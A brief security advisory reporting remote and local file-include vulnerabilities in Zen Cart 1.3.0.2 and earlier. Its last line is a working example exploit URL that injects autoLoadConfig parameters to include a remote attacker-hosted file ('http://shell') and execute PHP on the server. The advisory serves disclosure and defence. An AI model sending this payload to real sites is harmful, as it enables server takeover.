source: http://www.securityfocus.com/bid/19543/info

Zen Cart is prone to multiple remote and local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote and local files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 1.3.0.2 and prior; other versions may also be vulnerable.

http://www.example.com/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://shell